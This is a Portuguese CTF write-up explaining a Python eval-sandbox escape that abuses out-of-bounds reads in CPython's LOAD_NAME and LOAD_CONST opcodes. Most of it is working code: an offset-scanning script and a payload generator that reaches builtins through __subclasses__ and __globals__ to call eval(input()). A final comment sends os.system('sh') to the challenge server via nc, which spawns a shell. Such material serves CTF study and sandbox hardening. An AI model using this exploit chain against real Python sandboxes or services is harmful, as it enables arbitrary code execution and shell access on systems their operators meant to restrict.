LOAD_NAME / LOAD_CONST opcode OOB Read

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Essas informações foram retiradas deste artigo.

TL;DR

Podemos usar a funcionalidade de leitura OOB no opcode LOAD_NAME / LOAD_CONST para obter algum símbolo na memória. O que significa usar truques como (a, b, c, ... centenas de símbolos ..., __getattribute__) if [] else [].__getattribute__(...) para obter um símbolo (como o nome de uma função) desejado.

Em seguida, basta criar seu exploit.

Visão Geral

O código fonte é bastante curto, contendo apenas 4 linhas!

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

Pode inserir código Python arbitrário, e ele será compilado para um objeto de código Python. No entanto, co_consts e co_names desse objeto de código serão substituídos por uma tupla vazia antes de avaliar esse objeto de código.

Dessa forma, todas as expressões que contêm constantes (por exemplo, números, strings etc.) ou nomes (por exemplo, variáveis, funções) podem causar falha de segmentação no final.

Leitura Fora dos Limites

Como ocorre a falha de segmentação?

Vamos começar com um exemplo simples, [a, b, c] poderia ser compilado no seguinte bytecode.

1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345

Mas e se os co_names se tornarem uma tupla vazia? O opcode LOAD_NAME 2 ainda é executado e tenta ler o valor daquele endereço de memória onde originalmente deveria estar. Sim, isso é uma "característica" de leitura fora dos limites.

O conceito principal para a solução é simples. Alguns opcodes no CPython, por exemplo, LOAD_NAME e LOAD_CONST, são vulneráveis (?) à leitura fora dos limites.

Eles recuperam um objeto do índice oparg da tupla consts ou names (é assim que co_consts e co_names são chamados internamente). Podemos nos referir ao trecho curto a seguir sobre LOAD_CONST para ver o que o CPython faz ao processar o opcode LOAD_CONST.

case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567

Desta forma, podemos usar o recurso OOB para obter um "nome" de um deslocamento de memória arbitrário. Para garantir qual nome ele tem e qual é o seu deslocamento, basta continuar tentando LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... E você pode encontrar algo em cerca de oparg > 700. Você também pode tentar usar o gdb para dar uma olhada no layout da memória, é claro, mas eu não acho que seria mais fácil?

Gerando o Exploit

Uma vez que recuperamos esses deslocamentos úteis para nomes / constantes, como obtemos um nome / constante a partir desse deslocamento e o usamos? Aqui está um truque para você:
Vamos supor que podemos obter um nome __getattribute__ a partir do deslocamento 5 (LOAD_NAME 5) com co_names=(), então basta fazer o seguinte:

[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234

Observe que não é necessário nomeá-lo como __getattribute__, você pode nomeá-lo como algo mais curto ou mais estranho

Você pode entender a razão por trás disso apenas visualizando seu bytecode:

0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314

Observe que LOAD_ATTR também recupera o nome de co_names. O Python carrega nomes a partir do mesmo deslocamento se o nome for o mesmo, então o segundo __getattribute__ ainda é carregado a partir do deslocamento=5. Usando esse recurso, podemos usar um nome arbitrário uma vez que o nome esteja na memória próxima.

Para gerar números deve ser trivial:

0: not
1: not []
2: (not []) + (not [])
...

Script de Exploração

Não usei constantes devido ao limite de comprimento.

Primeiro, aqui está um script para encontrar esses deslocamentos de nomes.

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

E o seguinte é para gerar o exploit real em Python.

import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

Basicamente, ele faz as seguintes coisas, para aquelas strings que obtemos do método __dir__:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())